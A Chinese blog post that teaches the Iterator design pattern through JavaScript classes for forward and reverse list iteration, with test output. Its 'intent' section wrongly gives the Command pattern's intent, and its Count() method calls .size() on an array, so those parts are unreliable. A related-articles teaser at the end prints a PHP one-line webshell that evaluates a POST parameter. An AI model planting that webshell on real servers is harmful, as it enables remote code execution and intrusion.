JAVA SCRIPT设计模式--行为型--设计模式之Iterator迭代器模式(16)

news2024/11/18 7:27:12

         JAVA SCRIPT设计模式是本人根据GOF的设计模式写的博客记录。使用JAVA SCRIPT语言来实现主体功能,所以不可能像C++,JAVA等面向对象语言一样严谨,大部分程序都附上了JAVA SCRIPT代码,代码只是实现了设计模式的主体功能,不代表全部的正确,特此声明。若读者需要了解设计模式目录、原则、设计变化方向,环境相关等信息请查看设计模式开篇。


一、UML类图

参与者:

1.1 Iterator(迭代器) 

  • 迭代器定义访问和遍历元素的接口。 

1.2 ConcreteIterator(具体迭代器) 

  • 具体迭代器实现迭代器接口。 
  • 对该聚合遍历时跟踪当前位置。

1.3 Aggregate(聚合) 

  • 聚合定义创建相应迭代器对象的接口。 

1.4 ConcreteAggregate(具体聚合) 

  • 具体聚合实现创建相应迭代器的接口,该操作返回ConcreteIterator的一个适当的实例。  

二、意图

     将一个请求封装为一个对象,从而使你可用不同的请求对客户进行参数化;对请求排队或记录请求日志,以及支持可撤消的操作。

三、适用性 

  1. 访问一个聚合对象的内容而无需暴露它的内部表示。
  2. 支持对聚合对象的多种遍历。
  3. 为遍历不同的聚合结构提供一个统一的接口(即,支持多态迭代)。

四、示例代码

4.1  动机

           一个聚合对象,如列表(list),应该提供一种方法来让别人可以访问它的元素,而又不需暴露它的内部结构.此外,针对不同的需要,可能要以不同的方式遍历这个列表。但是即使可以预见到所需的那些遍历操作,你可能也不希望列表的接口中充斥着各种不同遍历的操作。有时还可能需要在同一个表列上同时进行多个遍历。

        迭代器模式都可帮你解决所有这些问题。这一模式的关键思想是将对列表的访问和遍历从列表对象中分离出来并放入一个迭代器(iterator)对象中。迭代器类定义了一个访问该列表元素的接口。迭代器对象负责跟踪当前的元素;即,它知道哪些元素已经遍历过了。

        例如,一个列表(List)类可能需要一个列表迭代器(ListIterator),它们之间的关系如下图:

         在实例化列表迭代器之前,必须提供待遍历的列表。一旦有了该列表迭代器的实例,就可以顺序地访问该列表的各个元素。CurrentItem操作返回表列中的当前元素,First操作初始化迭代器,使当前元素指向列表的第一个元素,Next操作将当前元素指针向前推进一步,指向下一个元素,而IsDone检查是否已越过最后一个元素,也就是完成了这次遍历。

4.2  示例UML

        

        首先,定义一个抽象列表类AbstractList,它提供操作列表的公共接口。类似地,我们也需要一个抽象的迭代器类Iterator,它定义公共的迭代接口。然后我们可以为每个不同的列表实现定义具体的Iterator子类。这样迭代机制就与具体的聚合类无关了。

目录结构:

4.3 Iterator(迭代器) 

  • 迭代器定义访问和遍历元素的接口。 
export default  class Iterator {
	listItem=[];
    constructor(listItem) {
		this.listItem=listItem;
    }
    First() {     
    }
    Next() {     
    }
	IsDone() {
	}
	CurrentItem() {
	}
	
}

4.4 ConcreteIterator(具体迭代器) 

  • 具体迭代器实现迭代器接口。 
  • 对该聚合遍历时跟踪当前位置。
import Iterator  from '../Iterator.js';

export default  class OrderListIterator extends Iterator {
	index=0;
	isDone=false;
    constructor(listItem) {
		 super(listItem);
    }
    First() { 
		this.index=0;
		if(this.index==this.listItem.length)
		this.isDone=true;
    }
    Next() { 
		this.index++;
		if(this.index==this.listItem.length)
		this.isDone=true;
    }
	IsDone() {
		return this.isDone;
	}
	CurrentItem() {
		return this.listItem[this.index];
	}
	
} 
import Iterator  from '../Iterator.js';

export default  class InvertedOrderListIterator extends Iterator {
	
   index=0;
   isDone=false;
   constructor(listItem) {
   	 super(listItem);
   }
   First() { 
   	this.index=this.listItem.length-1;
    if(this.index<0)
      this.isDone=true;
   }
   Next() { 
   	this.index--;
   	if(this.index<0)
   	 this.isDone=true;
   }
   IsDone() {
   	return this.isDone;
   }
   CurrentItem() {
   	return this.listItem[this.index];
   }
	
} 

4.5 Aggregate(聚合) 

  • 聚合定义创建相应迭代器对象的接口。 
import Iterator  from '../Iterator/Iterator.js'; 

export default  class AbstractList {
	listItem=[];
	iterator;
    constructor( ) {
		 
    }
    CreateIterator() {   
		 
    }
	Count() {
		return this.listItem.size(); 
	}
	Append(item) {
		this.listItem.push(item); 
	}
	Remove(item) {
		 
	}
  }

4.6 ConcreteAggregate(具体聚合) 

  • 具体聚合实现创建相应迭代器的接口,该操作返回ConcreteIterator的一个适当的实例。
import AbstractList  from '../AbstractList.js'; 
import OrderListIterator  from '../../Iterator/impl/OrderListIterator.js'; 

export default  class OrderList extends AbstractList {
      
	constructor(  ) {
	 super();
	  
	}
   
	CreateIterator() {
		this.iterator=new OrderListIterator(this.listItem);
		return this.iterator;
	}
  } 
import AbstractList  from '../AbstractList.js'; 
import InvertedOrderListIterator  from '../../Iterator/impl/InvertedOrderListIterator.js'; 

export default  class InvertedOrderList extends AbstractList {
   
	constructor(  ) {
	 super();
	}
   
	CreateIterator() {
		this.iterator=new InvertedOrderListIterator(this.listItem);
		return this.iterator;
	}
  }

4.7  Client

import OrderList  from './AbstractList/impl/OrderList.js';
import InvertedOrderList  from './AbstractList/impl/InvertedOrderList.js';
 

export default class Client{
   
    constructor(ctx,zooRect) {
    	 
		 
		 let orderList=new OrderList();
		 orderList.Append('1');
		 orderList.Append('2');
		 orderList.Append('3');
		 orderList.Append('4');
		 orderList.Append('5');
		 
		 let  iterator=orderList.CreateIterator();
		 for(iterator.First();!iterator.IsDone();iterator.Next())
		 {
			 console.log('顺序输出:'+iterator.CurrentItem());
		 }
		 
		 let  inverorderList=new InvertedOrderList();
		 inverorderList.Append('1');
		 inverorderList.Append('2');
		 inverorderList.Append('3');
		 inverorderList.Append('4');
		 inverorderList.Append('5');
		 
		 let  inveriterator=inverorderList.CreateIterator();
		 for(inveriterator.First();!inveriterator.IsDone();inveriterator.Next())
		 {
		 			 console.log('倒序输出:'+inveriterator.CurrentItem());
		 }
		 
    }
    
 }

4.8 测试HTML

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">


		<script type="module">
			import Client from './Client.js';
			var canvas = document.getElementById("mycanvas")
			var ctx = canvas.getContext("2d") //create 2d object
			let cl = new Client(ctx,{startx:0,starty:0,width:900,height:900});
		 
		 
		</script>
	</head>
	<body>
		<canvas id="mycanvas" width=900px height=900px></canvas>

	</body>
</html>

测试结果:

Client.js:20 顺序输出:1
Client.js:20 顺序输出:2
Client.js:20 顺序输出:3
Client.js:20 顺序输出:4
Client.js:20 顺序输出:5
Client.js:33 倒序输出:5
Client.js:33 倒序输出:4
Client.js:33 倒序输出:3
Client.js:33 倒序输出:2
Client.js:33 倒序输出:1

五、源代码下载

        下载链接:https://pan.baidu.com/s/1XuPqp84cccBNVkbnMY3sKw 
         提取码:q2ut

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/72726.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

[附源码]Python计算机毕业设计Django在线影院系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;我…

[附源码]计算机毕业设计JAVA中小学微课学习系统

[附源码]计算机毕业设计JAVA中小学微课学习系统 项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM myba…

JVM相关学习

一、了解JVM JVM就是Java虚拟机。好处&#xff1a; 一次编写&#xff0c;到处运行&#xff1b;自动内存管理&#xff0c;垃圾回收功能&#xff1b;数组下标越界越界检查&#xff1b;多态。 二、学习JVM 1.程序计数器&#xff08;寄存器&#xff09;&#xff1a; 作用&#x…

成为大数据工程师需要具备什么能力?发展前景好么

数据工程工作存在于各个行业&#xff0c;在银行业、医疗保健业、大型科技企业、初创企业和其他行业找到工作机会。许多职位描述要求数据工程师、拥有数学或工程学位&#xff0c;但如果有合适的经验学位往往没那么重要。 **那么如何获得数据开发相关岗位的工作经验&#xff1f;…

Three.js一学就会系列:03 炫酷3D划线

系列文章目录 Three.js一学就会系列&#xff1a;01 第一个3D网站 Three.js一学就会系列&#xff1a;02 画线 文章目录系列文章目录前言一、省略部分二、使用方法创建一个dom元素创建初始化方法线条动起来效果总结前言 最近开始入坑前端3D建站&#xff0c;跟大家一起慢慢深入t…

磨金石教育摄影技能干货分享|曾毅——尘封的故土,难忘的乡愁

乡愁是远离家乡的游子们&#xff0c;内心对故土美好的执念。我曾经在新疆边境县待过一年&#xff0c;异域的风情的新奇&#xff0c;充满了我的眼睛。我一度觉得这里真不错&#xff0c;在这待一辈子也挺好。 后来有一次去了当地一个汉族村&#xff0c;刚进村子就恍然有一种回家…

C# SuperSocket 手把手教你入门 傻瓜教程---7(自定义SuperSocket内置的命令行协议)

C# SuperSocket 手把手教你入门 傻瓜教程系列教程 C# SuperSocket 手把手教你入门 傻瓜教程---1&#xff08;服务器单向接收客户端发送数据&#xff09; C# SuperSocket 手把手教你入门 傻瓜教程---2&#xff08;服务器和客户端双向通信&#xff09; C# SuperSocket 手把手教…

黑马程序员14套经典IT教程+面试宝典

很多同学对互联网比较感兴趣 &#xff0c;奈何苦恼不知道如何入门。今天免费给大家分享一波&#xff0c;黑马程序员14套经典IT教程程序员面试宝典&#xff01;涉及Java、前端、Python、大数据、软件测试、UI设计、新媒体短视频等。从厌学到学嗨&#xff0c;你只差一套黑马教程&…

ADS1120 备忘

ADS1120 是一个小型、低功耗、16-bit、ΔΣ 模数转换器&#xff08;ADC&#xff09;&#xff1a; 内置 PGA&#xff08;1~128&#xff09;内置参考基准&#xff08;2.048V&#xff09;内置温度传感器内置 2 个已配对的可编程电流源SPI 通讯接口&#xff0c;使用 模式 1 &#…

BHAR事件研究方法stata代码和案例数据

BHAR事件研究方法stata代码和案例数据 1、方法说明&#xff1a; BHAR (Buy and Hold Abnormal Return)&#xff0c;即购入 -持有异常收益法。 无论是短期事件研究,还是长期事件研究,都包含以下六大步骤&#xff0c;即定义事件以及事件研究窗口、选择研究样本、选择望收益模型…

web安全之Webshell管理工具

目录 漏洞原理 工具 中国蚁剑(antsword) weevely(kali) godzilla Behinder 漏洞原理 上传PHP一句话木马到服务器 <?phpheader("Content-type:text/html;charsetgb1232");echo "<pre>";eval($_POST[coleak]); ?> 找到上传路径后通过…

PTE考试写作教程

PTE考试写作教程 由经验丰富的母语教师完成准备教程&#xff0c;以在 PTE 考试的写作部分取得成功 课程英文名&#xff1a;PTE Academic Exam Preparation Writing Mastery (Achieve 79) 此视频教程共10.0小时&#xff0c;中英双语字幕&#xff0c;画质清晰无水印&#xff0…

《MySQL实战45讲》——学习笔记21 “加锁规则、加锁案例、死锁示例“

紧接着上篇介绍可重复读隔离级别下的幻读问题及解决幻读引入的间隙锁和next-key lock的概念&#xff0c;本篇介绍了更新记录时加锁的规则&#xff0c;并用几个案例来说明规则&#xff1b; 通过学习本文&#xff0c;可以帮助通过加锁规则去判断语句的加锁范围&#xff1b;在业务…

ABAP学习笔记之——第九章:ABAP对象

一、类 类(Class)可看做是对象的骨骼 (Template) 或者对象的类型。另外&#xff0c;类是抽象化对象的明细表。即可以说是制作对象的设计书。对象属性由描述对象的状态和行为的构成要素Component)决定。 比较结构化程序和面向对象程序 例&#xff1a; *比较结构化程序 和 面向…

Apache+PHP+MariaDB+MQTT重启指令

启动PHP服务 1.启动 systemctl start php-fpm.service Apache服务 1. 启动、终止、重启 systemctl start httpd.service #启动 systemctl stop httpd.service #停止 systemctl restart httpd.service #重启 2. 设置开机启动/关闭 systemctl enable httpd.service #开机…

Spring【日志文件的打印与输出】

Spring【日志文件的打印与输出】&#x1f34e;一.日志文件&#x1f352;1.1 日志的作用&#x1f352;1.2 怎样查看到日志信息&#x1f34e;二. 打印日志&#x1f352;2.1 自定义打印日志&#x1f352;2.2 ⽇志格式说明&#x1f34e;三.日志级别&#x1f352;3.1 日志级别的作用…

SpringMVC的收参方式?

第一种收取参数方式&#xff1a;数据类型收取参数 第二种收取参数的方式&#xff1a;实体类收取参数&#xff08;传参&#xff09; 第三种收取参数的方式&#xff1a;ajax 收取数组/集合 第四种收取参数的方式&#xff1a;ajax 接收json数据 第五种收取参数的方式&#xff1a;…

全网最牛最全Postman接口测试(五): postman设置接口关联,postman实现参数化

Postman(9): postman设置接口关联 postman设置接口关联 在实际的接口测试中&#xff0c;后一个接口经常需要用到前一个接口返回的结果&#xff0c; 从而让后一个接口能正常执行&#xff0c;这个过程的实现称为关联。 在postman中实现关联操作的步骤如下&#xff1a; 1、利用…

怎样避免软件测试中的漏测

什么是测试漏测&#xff1f; 测试漏测是指软件产品在测试结束后出现了在测试过程中没有被发现的bug。我们知道&#xff0c;漏测是每一个软件测试者最头疼的事&#xff0c;一旦出现漏测&#xff0c;首先给客户带来了非常不好的影响&#xff0c;特别是严重的功能性bug被漏测&…

程序员如何创造睡后收入呢?

程序员作为一个互联网行业的职业&#xff0c;在互联网当道的现在是非常吃香的。 作为程序员&#xff0c;一个基础工资的收入就已经是一笔不菲的收益了。 然而&#xff0c;钱总是不够花的&#xff0c;毕竟捂住口袋有点小难。 这时候&#xff0c;我们只好把视线转向另一边&…